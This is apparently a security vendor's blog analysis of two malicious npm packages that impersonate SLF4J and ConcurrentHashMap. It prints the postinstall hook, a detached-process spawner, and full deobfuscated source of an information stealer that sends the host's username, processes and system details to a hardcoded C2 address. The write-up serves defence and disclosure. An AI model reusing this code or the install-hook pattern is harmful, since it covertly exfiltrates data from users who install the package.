· 8 min read

Malicious npm Package Impersonating Java SLF4J

A malicious npm package impersonating the popular Java logging framework SLF4J is discovered by SafeDep Cloud malicious package scanning service.

A malicious npm package impersonating the popular Java logging framework SLF4J is discovered by SafeDep Cloud malicious package scanning service.

Today we found slf4j-api-js and concurrent-hashmap malicious npm packages impersonating the popular Java logging framework SLF4J and ConcurrentHashMap respectively. While the payload appears to be unsophisticated, it is still an improvement over what we have seen in the past. Particularly, the payload does the following:

  • Spawns a child process from npm post-install script
  • Stays resident after installation
  • Collects system information and sends it to the C2 server

Investigation

We decided to analyze [email protected] closely to identify the malicious behavior. The package.json is the most common attack vector for malicious packages as we have seen in analyzing 5000+ malicious packages. For this sample, the package.json had a postinstall script

{
  "name": "slf4j-api-js",
  "version": "1.0.0",
  "description": "A npm package to dynamically set log levels at runtime with SLF4J-like functionality for JavaScript applications.",
  "main": "main.js",
  "scripts": {
    "postinstall": "node src/postinstall.js"
  },
  "keywords": ["logging", "slf4j", "runtime", "log-level", "javascript"],
  "license": "MIT"
}

Next we looked at src/postinstall.js to understand the behavior of the code executed as part of the installation process. The primary indicators of malicious behavior are:

  • Spawns a child process from npm post-install script to stay resident after installation
  • Executes main.js from the same directory as the actual payload
const { spawn } = require('child_process');
const path = require('path');
// ...
const mainFilePath = path.resolve(__dirname, '创建文件夹:slf4j-api-js/src/main.js');
const child = spawn('node', [mainFilePath], {
  detached: true,
  stdio: 'ignore',
});

child.unref();
// ...

Interestingly the non-english characters results in invalid path when the package is installed in a Linux based system leading to failure in execution of main.js payload.

npm Install Failure

Next we looked at src/main.js which used basic string obfuscation possibly with the goal of evading signature based detection systems. This indeed bypassed our YARA Forge based rule matching system but was picked by our static code analysis engine that looks for code capabilities such as network communication, file system access etc.

const _teg7m59w=require('os'),_n9acweg2=require('net')
// ...
const _xqanthql='8.152.163.60',_4apogc7a=8058;
// ...
function _ahr17bwh(){try{let a='';a=_teg7m59w.platform()==='win32'?'tasklist /nh /fo csv':'ps aux';}}

While the code was obfuscated, the lack of obfuscation of command strings easily gave away the intended payloads. For example, the following code determines the screen resolution based on the operating system.

function _wpggtu79() {
  try {
    if (_teg7m59w.platform() === 'win32') {
      const a = _grjt11kr(
          'wmic path Win32_VideoController get CurrentHorizontalResolution,CurrentVerticalResolution /format:value'
        ).toString(),
        b = a.split('\n'),
        c = {};
      return (
        b.forEach((d) => {
          d.includes('CurrentHorizontalResolution')
            ? (c.width = parseInt(d.split('=')[1].trim(), 10))
            : d.includes('CurrentVerticalResolution') && (c.height = parseInt(d.split('=')[1].trim(), 10));
        }),
        c.width && c.height ? c.width + 'x' + c.height : 'N/A'
      );
    } else if (_teg7m59w.platform() === 'linux') {
      const a = _grjt11kr("xrandr --current | grep \\* | uniq | awk '{print $1}'").toString();
      return a.trim() || 'N/A (Linux/No X)';
    } else if (_teg7m59w.platform() === 'darwin') {
      const a = _grjt11kr('system_profiler SPDisplaysDataType | grep Resolution | awk \'{print $2"x"$4}\'').toString();
      return a.trim() || 'N/A (macOS)';
    }
    return 'N/A (不支持的操作系统或无头环境)';
  } catch (a) {
    return 'N/A (错误)';
  }
}

The deobfuscated code is provided in the Indicator of Compromise (IOC) section. Overall analysis of main.js indicate that it is primarily an information gathering payload that collects the following:

  • Screen resolution
  • System locale
  • Running processes
  • System information

Automated Analysis

While the analysis was straightforward, we decided to use hook our SafeDep Cloud Package Scanning Service as an MCP Server with Claude Desktop to automate the analysis. Primarily to test and verify the efficacy of our automated analysis system.

What to do if you are affected?

  • Remove the package using npm remove slf4j-api-js

For critical systems, we recommend that the system should be considered compromised and appropriate incident response process should kick-in.

How can SafeDep help?

Our free and open source tool vet is integrated with the SafeDep Cloud Package Scanning Service and can be used to detect malicious packages before they are installed. vet-action is a GitHub Action that can be used to establish proactive guardrails against malicious open source packages in your GitHub Actions workflows.

Indicator of Compromise (IOC)

  • Command and Control (C2) server IP address: 8.152.163.60

Deobfuscated main.js

// Import required Node.js modules
const os = require('os');
const net = require('net');
const { execSync } = require('child_process');

// Hardcoded remote command and control (C2) server information
const C2_SERVER_IP = '8.152.163.60';
const C2_SERVER_PORT = 8058;

/**
 * Detects screen resolution based on operating system
 * Uses different commands depending on whether running on Windows, Linux, or macOS
 * @returns {string} Screen resolution in format "widthxheight" or "N/A" if detection fails
 */
function getScreenResolution() {
  try {
    // For Windows systems
    if (os.platform() === 'win32') {
      const cmdOutput = execSync(
        'wmic path Win32_VideoController get CurrentHorizontalResolution,CurrentVerticalResolution /format:value'
      ).toString();
      const outputLines = cmdOutput.split('\n');
      const resolution = {};

      // Parse the command output to extract width and height
      outputLines.forEach((line) => {
        if (line.includes('CurrentHorizontalResolution')) {
          resolution.width = parseInt(line.split('=')[1].trim(), 10);
        } else if (line.includes('CurrentVerticalResolution')) {
          resolution.height = parseInt(line.split('=')[1].trim(), 10);
        }
      });

      // Return resolution in standard format if detected
      return resolution.width && resolution.height ? resolution.width + 'x' + resolution.height : 'N/A';
    }
    // For Linux systems
    else if (os.platform() === 'linux') {
      const cmdOutput = execSync("xrandr --current | grep \\* | uniq | awk '{print $1}'").toString();
      return cmdOutput.trim() || 'N/A (Linux/No X)';
    }
    // For macOS systems
    else if (os.platform() === 'darwin') {
      const cmdOutput = execSync(
        'system_profiler SPDisplaysDataType | grep Resolution | awk \'{print $2"x"$4}\''
      ).toString();
      return cmdOutput.trim() || 'N/A (macOS)';
    }

    // For unsupported operating systems
    return 'N/A (Unsupported operating system or headless environment)';
  } catch (error) {
    return 'N/A (Error)';
  }
}

/**
 * Detects system locale settings
 * Uses browser-like APIs first, then falls back to environment variables
 * @returns {string} The detected locale or "N/A" if detection fails
 */
function getSystemLocale() {
  try {
    // Try to get locale from Intl API (similar to browser behavior)
    return Intl.DateTimeFormat().resolvedOptions().locale;
  } catch (error) {
    // Fallback to environment variables if Intl API fails
    return process.env.LANG || process.env.LC_ALL || process.env.LC_MESSAGES || 'N/A';
  }
}

/**
 * Scans running processes to detect browsers and office applications
 * Uses different commands for Windows vs Unix-like systems
 * @returns {object} Process information including count and detection flags
 */
function scanRunningProcesses() {
  try {
    // Choose the appropriate command based on OS
    let command = '';
    command = os.platform() === 'win32' ? 'tasklist /nh /fo csv' : 'ps aux';

    // Execute the command to list processes
    const cmdOutput = execSync(command, {
      timeout: 5000,
      encoding: 'utf8',
    });

    const processLines = cmdOutput.trim().split('\n');

    // Return process data with flags for specific application types
    return {
      count: processLines.length,
      hasBrowser: /chrome|firefox|msedge|safari/i.test(cmdOutput),
      hasOffice: /winword|excel|powerpnt|soffice/i.test(cmdOutput),
    };
  } catch (error) {
    return {
      count: -1,
      error: error.message,
    };
  }
}

/**
 * Collects comprehensive system information
 * Gathers hardware, OS, and user data to create a system profile
 */
function collectSystemData() {
  // Record start time for performance measurement
  const startTime = Date.now();

  // Gather basic OS and hardware information
  const osType = os.platform();
  const osRelease = os.release();
  const osVersion = os.version();
  const architecture = os.arch();
  const hostName = os.hostname();
  const uptime = os.uptime();
  const userInfo = os.userInfo();
  const totalMemory = os.totalmem();
  const freeMemory = os.freemem();
  const cpuInfo = os.cpus();

  // Gather additional information using helper functions
  const screenResolution = getScreenResolution();
  const locale = getSystemLocale();
  const processInfo = scanRunningProcesses();
  const isTTY = process.stdout.isTTY;

  // Unique identifier/flag for this version of the malware
  const malwareFlag = 'dv2-7';

  // Assemble all collected data into a structured format
  const systemProfile = {
    flag: malwareFlag,
    basic: {
      osType: osType,
      arch: architecture,
    },
    detailed: {
      osRelease: osRelease,
      osVersion: osVersion,
      hostname: hostName,
      uptime: uptime,
      username: userInfo.username,
      homedir: userInfo.homedir,
      shell: userInfo.shell,
      totalMemory: totalMemory,
      freeMemory: freeMemory,
      cpuCount: cpuInfo.length,
      cpuModel: cpuInfo.length > 0 ? cpuInfo[0].model : 'N/A',
      screenResolution: screenResolution,
      locale: locale,
      processes: processInfo,
      isInteractive: isTTY,
    },
  };

  // Calculate execution time and add to payload
  const endTime = Date.now();
  systemProfile.executionDurationMs = endTime - startTime;

  // Send the collected data to the C2 server
  sendDataToC2Server(JSON.stringify(systemProfile));
}

/**
 * Sends collected data to the command and control server
 * Uses raw TCP socket connection
 * @param {string} data - JSON string containing system information
 */
function sendDataToC2Server(data) {
  // Create a new TCP socket
  const socket = new net.Socket();

  // Connect to the remote C2 server
  socket.connect(C2_SERVER_PORT, C2_SERVER_IP, () => {
    // Send the collected data once connected
    socket.write(data);
  });

  // Handle responses (destroys connection after receiving any data)
  socket.on('data', (response) => {
    socket.destroy();
  });

  // Empty error handler (suppresses errors)
  socket.on('error', (error) => {
    // Intentionally empty to hide connection errors
  });

  // Empty close handler
  socket.on('close', () => {
    // Intentionally empty
  });
}

// Start the data collection and exfiltration process
collectSystemData();
Back to Blog

Related Posts

View All Posts »
SQL Query Interface over SBOM using SafeDep Cloud

SQL Query Interface over SBOM using SafeDep Cloud

This is a '#buildinpublic' update for SafeDep Cloud Development. UI often becomes a bottleneck for developer tools causing friction. We want to overcome it by providing an SQL query interface of SBOM and security metadata.

Announcing DefectDojo Integration

Announcing DefectDojo Integration

Introducing DefectDojo Integration allowing vet users to export scan results to DefectDojo. Continue leveraging DefectDojo for your vulnerability management while using vet for identifying vulnerable and malicious open source packages.